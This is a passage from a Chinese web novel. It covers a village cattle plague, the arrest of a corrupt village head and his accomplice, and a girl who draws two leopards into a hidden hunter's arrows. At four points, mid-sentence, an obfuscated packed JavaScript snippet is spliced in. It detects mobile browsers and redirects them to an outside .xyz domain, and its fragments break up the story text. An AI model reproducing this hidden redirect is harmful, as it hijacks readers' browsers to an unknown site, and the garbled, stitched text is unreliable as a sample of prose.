乔小遇她大伯母但想及乔冉安一家人竟只需踏出半只脚，就能进到自家地里头，心里可不知梗藏了多少怨气，而那些针对乔小遇一家的指桑骂槐的话自不会少。 不是今儿站在她家院门外叉腰骂说，自家地里的玉米杆子不知是被哪个小兔崽子砍了咂嘴，就是昨儿地里的瓜藤被人故意折断了去，害得她家没法养老瓜…… 大伯家地里头有没有养老瓜乔小遇不知道，可那玉米杆子——乔小遇分明瞧见是她大堂哥砍的，且砍的都是些霉苞！ 这般横受冤枉气也就罢了，偏她大伯母那个浑人还跟着往乔小遇家院门前吐口唾沫…… 傅娘子哪能忍得了这个，当即便拖了家里的竹扫把冲出去，与乔小遇她大伯母扭打在一起！ 这个关于围院墙的事情令乔小遇明白一个道理：有的矛盾，并非砌一道院墙就能隔开来，而自居那一亩三分地也并非是件容易的事…… 宽阔的拖罗河边。 乔小遇携了妹妹将裤腿高高卷起，把捡起的石子扔进篮中，不多时便又满了一篮。 “姐姐，咱们今天就到这儿吧，我的腰都快要断了。”乔小佩直觉着身上酸疼得紧，也没那心思先去穿鞋了，一屁股就在河岸边坐下来，口中有气无力地道。 乔小遇这才直起身来…… 凝目看向那团一直在自己脚丫子前翻打的水浪，乔小遇渐觉着自己的身体竟像是一道小舟般，迅速地在水中穿行……只这种感觉终不得持久，片刻后乔小遇便开始觉着头晕眼花起来。 “也该回去了。”乔小遇沉音一叹，那依旧带了几分恍惚之色的目光且转至乔小佩身上，乔小遇便不禁为小妹那毫无形象可言的坐姿给逗得轻笑出声。 就着清水洗干净自己的小爪子，乔小佩屁颠屁颠地去给她姐拿鞋子。且看着这小糯米团子踉跄着步子走到自己跟前，乔小遇不禁轻抚了抚妹妹的头，昵声道：“瞧着你确实累了……” “不过话说回来，你说你怎么还这么小个呢？”乔小遇故作愁眉状，苦语道：“我便往你肚皮上轻踢一脚，你就与那猪尿泡缝出的球一般，直接滚进河里去了……” 正当乔小遇自觉她这比方打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924376|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得贴切不过，且莫名有一种诙谐感时，乔小佩却委屈地瘪起嘴来，哭声道：“我才不是猪尿泡缝的球……” 乔小遇听得这话，那因要放下裤腿而躬着的半身确是笑得愈发低了。 至夜时，乔家村里已不知响过几阵锣鼓声，惊得人心惶惶。 乔小遇姐妹俩已吃过晚饭，却始终未见着爹娘回家来，便只好将灶炉一直烧着，把饭菜用碗盖了放在旁边，沾着热气。 夜里已开始有了一丝凉意，乔小佩不自觉地将手靠近火边，叹声道：“过段时间，地里的玉米也就能掰了，到时家里可不知会怎么忙呢。” “也不见得怎么忙，那坡地里能收多少玉米棒子？”乔小遇轻瞥了眼妹妹，又道：“你怎么不多加件衣裳？等下过秋雨，天气更凉了，可当心生病。” “都是些薄布衣裳，再穿两件不还是一样？”乔小佩搓了搓手，旋即问道：“对了，姐姐，咱家暂放在胡四叔家的米粮什么时候搬回来哩？” 乔小遇往炉子里又添了两根柴，话音静静地道：“等把米粮店里头赊的银钱补上吧。” “胡四叔与他娘子都是很好说话的人，家里小日子过得和美，人应当没那心思贪昧。粮食放在镇上，能教米粮店的掌柜安心些不说，咱家里如今忙着进山逮野物，也没那时间去搬粮。” 乔小佩这才稍稍放下心来，蜷曲的腿脚不自觉地超前一伸。 “砰！” 粗碗清脆的碰撞声直让乔小佩打了个激灵，几乎是下意识地，她赶忙弯腰把菜碗挪正了——甚至都顾不得那碗边已是一股灼烫。 “可吓死我了！要是磕缺了，回头娘又找我算账可怎么好？”乔小佩将手指头放在耳垂处去热，一边轻努了努嘴道。 “可话说回来，爹娘怎么还不回来？” 随着她这话音轻落，姐妹俩都没忍住将目光探向门外——虽什么都未见着，但很明显的是，村里的喧吵声已愈发噪耳了。 乔小佩困惑地问道：“姐姐，你说爹娘怎么会耽搁那么久啊？” “我也不知。”乔小遇轻轻摇头，接着说道：“这事终究与咱们家里没什么干系的，你别担心。爹娘许是顾着看热闹，没得忘了时间……” 话虽这般说，可乔小遇的一颗心却不由得紧提了起来。 锣鸣声渐近。 而与之一道的，是村里百十个人拥作一堆的身形，以及七八个吐着高高舌焰的竹火把。 “这是怎么了？”乔小佩定睛瞧着宽道上哄闹的情状，那扒在门边上的手指竟不自主地紧扣作一处，呢喃道：“走在前头的，似乎是在押着什么人？咦，那是何里正？” 乔小遇皱了下眉，欲朝前看清些，对妹妹说道：“要不，咱们去看看？” “姐姐，我好像瞧见爹爹娘亲了。”乔小佩忽有些激动地朝人群的方向指了指。虽隔着些距离，可乔小遇却极容易地就辨认出了乔冉安夫妻俩那熟悉的行路姿势，她欢喜地道：“确是爹娘哩……” 48. 被押问审 姐妹俩连忙去给乔冉安夫妻俩开门——然眼前的情景，却令她们面呈忧色。 且瞥见乔冉安左脸颧骨上的那抹青紫血印，乔小遇不由得惊呼出声：“爹，您这是怎么了？” “没什么！”乔冉安焦怒着用手掩过那紫青之处，然他却因此不小心地轻触到了那伤口，不禁轻“嘶”出声。 “你没得朝小遇发什么火？”傅娘子扯了扯乔冉安的袖口，旋对身旁的乔宝树尴尬地笑了笑。 乔小遇有些不明所以，当下嗫嚅地动了动唇，只得静静地看向爹娘，以及那举了竹火把照明的乔宝树。 乔宝树的目光亦朝她定定看来。 比及往常，欢喜更甚，却也挟了一种歉疚的意味——这些是乔小遇从乔宝树的眼眸之中所感受到的情绪。 乔小遇皱了皱眉，不禁暗想着：“难道是为着我爹脸上所受的伤而心怀愧疚？可这与长田叔家有什么关系？” “四叔，你们快进去吧。瞧这样子，小遇她……她们姐妹俩已经等了你们好一会儿了。”乔宝树转对傅娘子眉眼轻弯，礼貌地道。 “是哩是哩，四叔四婶都到家了，宝树你也快回去吧。”傅娘子忙不迭地点了点头，一阵眉开喜笑。 这情形总让人有意无意地去比较：与乔小遇的无奈不同，乔冉安却是想对傅娘子苦劝一番，虽然他并没有这个胆。 亲眼目睹乔长田当选里正一职的过程后，乔冉安可算是领会了傅娘子那灼灼发烫的目光里所包含的意图…… 可这不就是上赶着贴么？自以为能跟人攀上亲戚，多份倚仗？ 乔冉安不屑于此，却又不好得挑明，且听着傅娘子与乔宝树说话时的柔和语气，不禁急嚷嚷道：“一个个还愣在门口做什么？是想跟着去送何里正他们一段路程，还是巴巴地看热闹？” 说完，竟大步一脚，气呼呼地往家里去了。 “呵！你吃错药了吧！”傅娘子没忍住指着乔冉安的背影骂说道，一边紧步跟了上去。 这才是家中孩子所熟悉的傅娘子…… 夫妻俩既还能斗气，想来乔冉安脸上的伤算不得严重……不然，傅娘子待乔冉安的态度便是软言细语地哄着。 乔小遇轻叹了口气，旋回头对妹妹吩咐道：“你先进去给爹娘摆碗筷。” 乔小佩看了眼立在原地的乔宝树，知道姐姐有话问他，连忙点头应过。 火光跃动，似想要将夜风里所挟藏的那丝凉意也灼烧而尽。 乔小遇留意到，至河边的岔道口处，那紧拥作一处的人群便分作了两拨：押了何照熊与乔大闯的官差径往县城的方向去，而村里那些不论是来看热闹的人，还是送人一程的亲友却都停下了脚步。 官差已言明，不许他们再跟了。 扣在枷锁里的人面如青灰，忍不住哭喊着连连回望，却被官差厉声喝止。 而人群这边，争吵声、哭闹声与唾骂声直交杂作一处，且愈演愈烈。 “你们这是要逼死我们一家子么？”乔大闯他媳妇丁小娘子半瘫了身子，倒在潮湿的河沙上，已然泣不成声。 她憎恶而绝望的目光从围观人群的身上划过，指了何家兄弟痛骂道：“这都是何家人作下的孽，与我家那口子有什么相干？” “他何照熊是进牢里头了，可有厉害的兄弟护着，我家有什么？便瞧着我一家遭了难，小儿弱母的好欺负，你们都上赶着来了，是么？” 丁小娘子紧扯着嗓子哭嚎，那张脸虽是一副娇柔可怜的颜色，却也无端让人觉着：眼前这穿了红艳袄子的女子，怕是个疯妇罢！ 而何照熊的几个弟兄听得丁小娘子的哭嚎声，心下直恨不得把这疯妇按进河沙里闷死才好…… 可他们如今已没法在村里抬头，冲她个妇人撒气算什么事？不过徒惹乔家村的人嗤笑他们狗咬狗罢了。 是以即便何家小辈里有一时冲动，欲上前撕烂这丁小娘子的嘴的，也被几个能拿主意的大人给拦了去…… 余下的人便都是看热闹的了——或者表述得更为准确一些，在他们明白今儿村里闹的这出戏与各家都切身相关后，实已提不起那看热闹的兴奋劲儿了，比如乔根茂。 既是相关，那便没道理高高挂起，或如平日里那些所谓的“谈资”一般，面上作出副“感同身受”的模样，可言辞却恨不得化作刀刃，直把对方扎得血淋淋的才好…… “何家人固然可恨，可乔大闯也是个腌臜货！村里人因念着你家孩子也姓乔，没说把你一家赶出村就已经是极好了！” “就是！”人群中响起一道乔小遇很是熟悉的声音，确是平日里与何家人走得极近的乔冉宏说话：“丁小娘子还说村里人逼着你一家子去死……呵，试问如今这一湾子里头，有哪家还能安然过日子？” “倒不如大家伙都跳河算了，活着有甚好？我倒宁愿带了妻儿父母，进牢里头待着去，起码还能混口饭吃。”乔冉宏说着说着，竟颤身蹲坐下来，忍不住抱头痛哭。 一时间，似以乔冉宏为始，人群中陆陆续续传出悲哭之声，任凭乔长田怎么苦劝都难有用…… 清蒙的夜色下，何家人瞧得这情形，却忍了心下不甘，“眼疾脚快”地遁离了这火舌蹿动的是非之地。 何家人明白，他们终究成了这湾子里头的见不得光的老鼠，但凡是个冠了“乔”姓的村民都没法容下他们…… 眼前的情状实在教人唏嘘。 乔小遇低叹了声，旋才收回那道幽沉的视线，问乔宝树道：“官差们是要把乔大闯和何里正……何照熊押去县衙里问审么？” 乔宝树轻“嗯”了声，颔首道：“只该理清的都已理清了，该交待的，也都交待了……衙门公堂上，不过补个定罪的章程。” “可事情发展到了这步，许多东西已经没法挽回了。”乔小遇缓声说道。 她轻轻地摇了摇头，明澈的眸子便同那哗声流动的拖罗河一般——竹火把明亮的光映入其中，终究减了灼热，多了几分幽凉。 “是啊。若当初我家与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924377|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何里正……何照熊家没有打擂台，事情或许不会拖成这个样子。” 乔宝树跟着低叹出声，也一时有些没顺过口来，把那位不知要在牢狱里蹲多少个春秋岁月的何照熊给叫成了里正。 “就算不打擂台，何照熊一口咬定你家的大黄牛是得的疫病，他也不会把这事上报官府……” 乔小遇静静地看向乔宝树，接着道：“而等村里人怀疑牲畜确有可能染了疫病，连连有猪牛病死时，何照熊怕是更没那个胆子往上通报了……所以你不必耿耿于怀。” “可村里人不见得都这么想，如你大伯……”乔宝树皱了皱眉，才道：“他家的牛也染了疫病，今儿傍晚时突然就断气了。你大伯心里难受得紧，便没忍住把火气朝我们两家发……” “情况发生得太突然，许是顾忌我爹身旁有我小叔叔搀着，你大伯冲出几步，竟又折朝你爹的方向扑去……你爹为此挨了他一拳，好在你大伯很快便被村里人拉开了去。” 乔宝树尽量斟酌了词句，与她道明乔冉安受伤的缘由后，终才鼓起勇气迎上乔小遇的目光，叹声道：“对不起……” “我娘当初也是糊涂了，才把你家拖进这泥潭里来。”乔宝树抿了抿唇，火光映照着的面庞上满是愧疚之色。 “原来是我大伯打的么……” 乔小遇苦笑着摇了摇头，神情复杂地道：“这事并不能全怪你娘，宝树哥，你当知道我家与我大伯一家是什么关系的……” “何况，我家宰猪的时机……” 乔小遇顿住了话音。 她已然明白过来，为什么当她问及乔冉安受伤的情况时，她爹会朝她生气了——只因那出主意把家里的猪宰了的人便是她。 她也明白，为什么乔冉宏会半中折身，不去打那尚歪瘸着腿的乔长田的缘由——因为人已当上里正了，得罪不起。 “我还当自家没养什么猪牛了，村里关于牛疫的种种，便都与我家扯不上什么瓜葛……哪能想到竟还出了这么一桩事？”乔小遇话音微瑟地道。 乔宝树见她这般神情，忙补声道：“小遇，你别担心……你爹的伤，魏医官瞧过了，当时便喷了些酒液上去，应当不妨事的。” “我知道。”乔小遇挤出一丝笑意，然目光却朝河岸边轻轻瞥去，道：“宝树哥，你爹他们过来了……” “你也随他们回去吧。”她的话音轻浅而柔和，却是教乔宝树把那些梗在喉咙口的话给咽了回去。 “爹……”乔宝树的目光朝他爹的方向偏侧过去，待乔长田走得近了，方才开口问道：“大家伙这是终于打算回去了么？” 乔长田安慰性地对儿子笑了笑，然眉眼间难掩疲累之色。 “小遇，你是个懂事的，好好照顾你爹，至于你大伯家那边……”乔长田的话音微微一顿，接着对乔小遇说道：“你且让你爹娘放心，我会与你大伯解释清楚，教他家不再来找你爹娘的麻烦。” “那便谢谢您了。”乔小遇轻轻掀起唇角，笑着说道。 49. 牢中捞人 可乔小遇心里清楚的是，自家与几个叔伯的关系是不可能因着长田叔从中说和便能得以扭转的。 便如冬日时，人用竹竿从瓦凹处打落下来的长冰凌一般，放入口中吮吸半晌，却不过能融化那么一小层，而之后，这冰凌终逃不过被丢弃在地的结局。 可见的是，人言可能比不得时间柔软，亦比不得时间更具力量。 …… 随着乔冉宏家的牛病死的消息在村里遍传开来，不少人家都开始动了杀猪宰牛的心思。 那些之前对乔冉安家宰猪的举动极为不解的人家，此时却才相信乔冉安家原就是为了避开这场祸事才将家里的猪仔全杀了的…… 然这关口，他们依旧难以下定决心宰猪杀牛，便是下定了，这猪牛能不能宰，却也由不得他们说了算了，总要请魏医官先来看过的…… 而倘若猪牛等畜已经染上疫病，便是想宰也不成了，只能每日按时按量给家中牲畜强灌汤药，希望这场牛疫能快些过去。 这厢乔冉安也渐回转过心思来，知自己对乔小遇发的那通火气毫无道理，可他到底没能抹下面子对女儿道歉，便连隔日进山时，也是乔小遇主动开口与他说的话。 “对了爹，关于乔大闯家的那片荒地，村里是打算怎么处置的呢？” 乔小遇面上的神情极为平静，仿佛昨日里什么事都不曾发生过一般。乔冉安看得微愣片刻，旋呵笑着咧了咧嘴，叹道：“哪是这般就容易定下的……” “你当时没在场，是没瞧见丁小娘子与她那一双儿女哭喊着给村里人求饶的情形。”乔冉安走到路边的一棵松荫下站定，见傅娘子已落了他父女好一段路，便将篮子放将下来，示意乔小遇等一会儿她娘。 他接着说道：“说来也怪乔大闯夫妻俩平日里不积福缘，乔家村里就属他家最刻薄了。如今私占土地的事情一败露，那些从前在他家手里吃过亏的人哪还愿意放过这机会？可恨不得把他夫妻俩的皮给扒下来！” “我与你娘以为自己早知此事，反应当算平静，哪成想竟还是被一拥而上的村民给吓懵了。好在局面很快就被官差镇住，否则乔大闯可真要被打成一个瘸子哩。” “丁小娘子领了俩孩子给村里人一一跪过，额头且都磕青了，你长田叔看不过去，赶忙使了人把乔荣兄妹俩拉起来，对丁小娘子说，她与乔大闯早在村里人跟前没了脸，可两个孩子不一样……” 乔小遇听至此处，心下不由得一阵唏嘘。她完全能想象得到当时的情形，也清楚丁小娘子给村里人磕头谢罪的举动实算不上被逼无奈，可到底是“免不了”的。 跪了这一遭，村里人对他家的怨气才算消解了大半，而等日后乔大闯蹲进大牢了，带着两个孩子的丁小娘子才好在村里继续过下去——即便那日子只能吃糠咽菜，一家人出门做活时，耳边听得人的辛辣嘲讽亦只得低眉弯腰，匆匆穿行而过。 “乔大闯可不知要被关几年，家里没了顶梁柱，丁小娘子的日子算是难熬了。”乔冉安轻叹道。 “你爷俩干嘛为人这么操心，保不齐他乔大闯过个十天半个月就回来了。”傅娘子这会儿终赶了上来，一边拿镰刀削着萝卜皮，一边忍不住轻嗤道。 “呵，这人都进去了，哪是这么容易就出来的？”乔冉安瞥了一眼傅娘子，接着说道：“若说他家原本还有些积蓄，可这案子一审，前几年私占山地所得的几分收成总要补给村里的，那兜里便不剩得几个铜板了，哪够捞人的？” “就说你不懂。”傅娘子切下一段白萝卜肉给乔小遇，才道：“丁小娘子是没本事把乔大闯往大牢里捞出来，可人在陆家人跟前说得上话啊。” 乔冉安一听，觉着是那么个道理，便只得乖乖地闭上了嘴，却是不再与傅娘子争辩了。 “呐，也给你吃一截。”傅娘子轻笑着扬了扬眉，将白萝卜递到乔冉安跟前，叫他用指甲扣住一头，接着切下小段来与乔冉安吃。 “小遇，你还要么？” 乔小遇心头且还想着傅娘子方才说的话，以至于那块衔在嘴里的萝卜肉都还未细嚼下腹，此时听得她娘这般问她，方才回过几分神来，摇头道：“我不要了，你们吃吧，省得吃多了肚子胀。” “不过啊，娘，您怎么会觉着陆家人肯出面把乔大闯从牢里捞出来呢？”乔小遇疑问道：“事情都闹到县衙上了，陆家人怎会猜不到，乔大闯平日里都借着他们的名头做了些什么事？” “这般妨碍声名，陆家人不追究他乔大闯的罪过就不错了。”乔小遇轻轻地摇了摇头，接着道：“相反，何家却有那个余力捞人出来。听说何照熊的女儿是给朝州府的一个大官当了妾？且看他家这几年里风光的……” “要是丁小娘子聪明，昨儿事情败露时，便不该把过错一个劲儿地往何家人身上推。无端地教人记恨上，鬼知道乔大闯在牢里头会不会多遭些罪。” 乔小遇轻口嚼着萝卜，忍不住感叹道：“乔家村是容不下他何家人了，只看着何家人收拾家什，重新搬回山那头的老屋子里住，村里人许还觉着大快人心，殊不知他们不过想着避避风头……” 闻言，乔冉安夫妻俩的面上均不由得一阵错愕。 “难不成他们还想着回来？”傅娘子懵道。 乔小遇摊了摊手，反问道：“难道还真搬走？乔家村虽然土地贫薄，但河岸边的那几块水田却肥沃得很，而无一例外，这些地皮都是他何家人的。何家人哪能舍了田地不要？何况他们在村里也盖了大院高屋。” “今早咱们赶着进山来时，您也瞧见何家人搬家私的哄闹情形了，生病的牛畜却没见他们一并赶着回去……” 傅娘子觉着女儿这话有些奇怪，插言道：“牛畜总要留下治病的不是？回了老屋，医官就算有心，也难照应到那边。” “所以留下几个人照管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924378|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 染疫的牛畜，实是一件再自然不过的事了。”乔小遇的目光静静地凝落在她娘的脸上，玩笑道：“那等牛疫的风波过去，何家人重新搬回村里呢？” 傅娘子闻言想要说些什么，可她轻扯了扯嘴角，旋又不禁沉默下来。 乔家村里的这场牛疫，不是他何照熊或旁的何姓人家带来的，而是乔万安家；打擂台时，也不是光他何照熊一个人站在那就能打了的，对面站的是乔长田家兄弟几个…… 自家被迫跟着和稀泥，村里人乐得看热闹，乔万安家则闷言不出声——牛疫便这般拖延开来。细究当中缘由，哪能只怪他何照熊一个？ 村里人应当明白这一点的，而等何家人搬回来时，大家伙不论心里还存有多少怨念，且见得何照熊毫发无伤的模样，便不敢再去针对何家。 “这也忒没理了，他何照熊犯的事可不止一桩两桩，到头来，竟不过在大牢里头蹲上一段时日，就能好生生地出来了？”傅娘子摊了摊手，径直将手里的萝卜给扔进了路边的灌丛里，却是没那个心思再继续吃了。 一家三口继续行路。 而等他们到山里时，日头还高挂着，倒比往回还要早些。 当着乔冉安的面，乔小遇是不想做那“恶人”了，于是她悄悄地扯了扯她娘的袖口…… “咱们先往坑洞那处去看看吧。”傅娘子的视线从女儿的身上收回，轻笑着对乔冉安说道。 乔冉安的神情立马一变，一口白牙不可抑地轻颤起来，“这……还要去？” 傅娘子严肃地颔了颔首……见状，乔冉安便是百般无奈，却也只得硬着头皮跟了上去。 秋日，暖阳。 绿杉，黄叶。 且听着脚下的枯树枝发出“咯吱咯吱”的声响，乔冉安的后背渐浸出一层汗水来，而他心头所积的那股冰冷之感，似怎么也不能被林间渗落下来的那抹阳光驱散一般。 偶有雀鸟自头顶的枝桠间惊飞而起，乔冉安反被惊得高跳，他赶忙扯了扯傅娘子的胳膊，劝道：“媳妇儿，要不咱们回去吧？就在山林边缘逮逮野兔子什么的，不成么？” “不过再走几步路就到了，你怎么有这么多的话可讲？”傅娘子险些被乔冉安绊倒在地，吓得紧忙抚了抚胸口，回头斥道：“还拉着我的竹篮，你这是一放手就连步子都挪不动了？” 乔冉安讪讪地松开了手……可等傅娘子重新回转过头，继续前行时，他那双手却又不由自主地伸了上去。 跟在后头的乔小遇见此情形，直忍不住摇头，暗道：“山林外围的兔子窝已被摸得差不多了，若不想要往这山林深处一走，只绕着远路在周边打转也成，可到底不熟悉地形，谁知道又会遇着什么危险？” 三人来到空地隔边的一处斜坡上。 乔小遇轻轻地扒开两片灌丛叶，且瞧着那片枯叶堆落而满的空地上，坑洞所在之处明晃不过，面色不禁凝住。 50. 山中重逢 “这是怎么一回事？之前你娘硬拖了掩在坑洞上方的两棵枯松木，怎么都被折断了？”乔冉安口中轻嘤出声，惊惧的眸光下意识朝傅娘子看过来。 傅娘子且瞧着乔冉安那根忍不住轻颤的食指一个劲儿地往坑洞的方向戳着，惹得手肘边的树叶一阵乱晃，似生怕自己没看见一般，心下腾地浮起一种焦躁感来，翻了白眼道：“你这动作大可再闹腾些，生怕自己招不来野兽是么？” “我不是……”乔冉安想要开口解释，可迎上傅娘子那道嫌弃的目光，他紧忙吞咽了口唾沫，却是将身体蹲得更低了，一边咕隆道：“说来说去，还是那片与村里挨得近的陆家人的山林与人得益些，偏乔大闯家把那片山林看得死紧……” 念及此处，乔冉安又转而轻喃道：“不对啊，乔大闯已去吃牢饭了，那陆家人的山林不就没人看着了么？” 乔小遇与她娘正就着树隙瞧着坡下空地的情形，这会儿听得乔冉安说的这番话，母女俩的脸色均不由得冷了几分。 偏乔冉安浑然未觉，跟着撇嘴笑道：“那咱们来这破地方做什么？倒不如回去，转转陆家人的山头作罢。” “瞧你这瞎起的念头！”傅娘子急伸出手，重新将乔冉安拉坐在地，低声责骂道：“陆家山林没人看护的事要你提醒？我又不是没动过心思！” “可一来那到底是陆家人的地盘界，二来乔大闯家的人又不是都进牢里头吃牢饭了。你以为这当口上，丁小娘子敢出差错，教陆家人拿了把柄吗？说你后知后觉，可真是恭维你了……” 乔冉安不满地努了努嘴，而话至半截，嗓音终渐渐地弱了下去。 两人可算停了争执。 “或许就不该让爹跟着来的。”乔小遇没想爹娘竟会这般地沉不住气，此时此地当最好不要闹出动静的，不是么？上回来时，两人且连一口粗气都不敢喘，怎么这回…… 乔小遇心底十分无奈，目光定定地朝空地上的那处猎坑看去：很明显的是，坑边一周并没有落叶覆盖，几处地方的枯草似还被野兽挖刨了一番，露出深褐色的泥地地表来。 “瞧这情形，这地方应当是有野兽来过的，只它们离开的时间并不长。”乔小遇暗暗想着，心下多了几分忐忑。 默然片刻，乔小遇终还是下定了决心，将头偏侧过去，用口型无声地与傅娘子说道：“我去看看……” 傅娘子紧拧着眉，神色很是犹豫。 “去什么去？那泥色瞧着颜色还很深，谁知道四周有没有野兽在觅食……要不咱们明早上再过来？”一股不知从何处浮涨而起的“勇气”，竟使得乔冉安把脑袋往前凑看了看，低颤出声道。 乔小遇闻言，连忙偏头对她爹低“嘘”一声，示意乔冉安不要再说话。 而与此同时，乔小遇也看清了乔冉安的姿势：前一刻方还稍向前倾的半身，此时已然斜倒在小土坡上，而他的手则紧抓了两攒山草，脚下蹬土，似准备随时逃离。 这会儿才意识到身处何地么？ 乔小遇直看得目瞪口呆，一时竟也不知该如何评价起……她神色淡淡地偏过头来，透白的一张脸复又蔽进阴影当中。 “这事似乎太过为难爹了。”乔小遇清楚乔冉安之所以跟过来，实因着担心她们母女俩的安危的缘故，而就乔冉安自身来说，怯懦的性子终究难改…… 要不就真的回去了？可来都来了…… 可是…… 乔小遇与她娘相视一眼，均从彼此眼底看到了那份纠结意味，而乔冉安见她二人心有动摇，既惊又喜地扯了扯傅娘子的衣袖，无声催促。 感受着傅娘子投过来的无奈视线，乔小遇心底可算是明白了：在这家里，虽惯常都是乔冉安对傅娘子妥协，可在某些事上，一旦乔冉安“示弱”太过，傅娘子反而会成为那个妥协的人。 同之前乔冉安“累倒”的那件事一般，傅娘子心底其实将乔冉安看得很重。至于那些日常入耳的责骂怒斥之语，只不过是两人相处的模式罢了。 “大人都要走了，留我一个能做什么？”乔小遇轻轻地摇了摇头，满心所溢却是一道暖流。 她最后往那猎坑周围细看了眼。 而便是这眼，直令她僵住周身动作，连呼吸也变得凝滞下来。 “别动！有危险！”乔小遇低呼出声，忙伸手揪住她娘的衣角。 乔冉安夫妻俩立时愣住，半身贴着地面再不敢乱动，而他们的呼吸终究带了几分不可抑的粗重，吸气时，仿佛那些泥渣都几乎要往他们的鼻腔里钻进去了。 “难道这周围真的有野兽？”俩人心头均联想到这一点——只再之后，对于如何逃生的这个问题，乔小遇她爹娘似都失去了思考的能力。 乔小遇屏住了呼吸，清澄的眸光再次自灌丛的缝隙里探出…… 这回，她是真瞧得分明了：在距离猎坑边缘不远的地方，两半被掰开的烧土豆静静地躺在深褐色的泡桐落叶上。 这场景太过熟悉…… “所以此间除了有隐藏的野兽，亦还有狩猎的人？”惊觉过来这点的乔小遇，下意识便想退后逃跑——可她不能。 乔小遇用余光扫了一眼爹娘那蜷缩着的紧绷的身体，忽觉着眼前一片迷蒙——原是一道自她额间凝落下的汗水。 “所以……现下的情况是，我不仅不知道野兽潜藏在何处，也不知猎人躲在哪里，更有可能的是，猎人或是野兽都留意到了这边之前枝叶乱颤的情形。” 乔小遇脑中思绪转得飞快，她眨了眨眼，将那滴附在眼睫上的汗珠甩落在地…… 视线重新变回一片清晰，可乔小遇能够感受到，她的额间有一层汗珠正源源不断地冒出。 谁知道对面的灌丛里是否有一支箭羽正死死地对着她呢？ “若此时是一头野兽去到下方那片空地，那么它的动作应当是极尽防备的，可我不同……”乔小遇紧闭了闭眼，接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924379|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着便往身旁的两株松树隙里一钻，显出半边身形来。 “啊……救命啊！”乔小遇一阵鬼哭狼嚎，抱了头便往开阔的空地上冲去。 这一切发生得太快！等乔冉安夫妻俩觉察到乔小遇的举动，那孩子的哭喊声已离了十多丈远。 “这孩子是要干什么？”傅娘子急忙起身，然透过跟前的枝叶孔隙，她却瞧见两只花豹子从左侧边的斜坡上冲下，径朝女儿的方向扑去！ 落叶与草尘一齐被劲风刮起！只这风，虽未曾有半分的秋意，当中的杀意与涌噬却已然在这片野山林中弥漫开来！ “小遇！”傅娘子低呼出声，径直便想要扒开面前那些缠绕在灌木树身上的藤蔓，冲将出去！ 然乔冉安拿手将她的嘴巴堵了去，低呼道：“二娘，别！” 身子被乔冉安死死抱住，傅娘子挣扎不开，当下却是什么都顾不得了，往后掰去的手径直便朝乔冉安的脸打去，指甲一顿乱挠…… “嗖！嗖！” 空气中传来几道箭羽的破空之声！ 乔小遇直觉那箭是擦着她的耳朵皮射|出去的，心间恐惧感愈盛……可她同时却又觉着十分惊喜！ 她果真猜对了！这林间一直有猎人暗躲着，想要引这野兽出来！ 乔小遇依旧像是不要命了一般朝前冲去——直到觉着身后那沉重而瘆人的兽掌落地声消失了去，她才顿下脚步。 清晰可闻的是，两道如土墙倒塌的声响……乔小遇已然喘得上气不接下气，而她紧绷的心神终得以放松下来、 她回目一望，待看清那由自己引出来的野兽竟然是两头花豹子后，乔小遇不禁放声大哭起来。 “乔小遇，你是不要命了么？” 林间传来一道清冽的呵斥之声…… 乔小遇缓缓抬头，待看清来人竟是陆桓后，哭声戛然而止，只她开口时舌尖依旧紧颤不已，“怎么会是你啊……陆桓……” “呜呜……”乔小遇复又埋头痛哭，倒没有仔细去看那位跟随在陆桓身后的少年郎了。 陆桓无奈地轻叹出声，暗道：“这回怕是被吓得紧了……” 若今日乔小遇遇到的人不是他，哪还有坐在这里哭的机会？ 念及此处，陆桓不禁有些得意地扬了扬唇角，只乔小遇哭得过于大声，教他觉得这笑意似乎有些不地道，旋又连忙敛了下去。 他快步走至乔小遇身前，缓蹲下身，本想问她一句“是否还好”的话，可没想开口时竟不自觉地转成了责问：“你知不知道，方才有多危险？花豹子奔得那般快，若非我反应及时，你这条小命怕是不在了！” 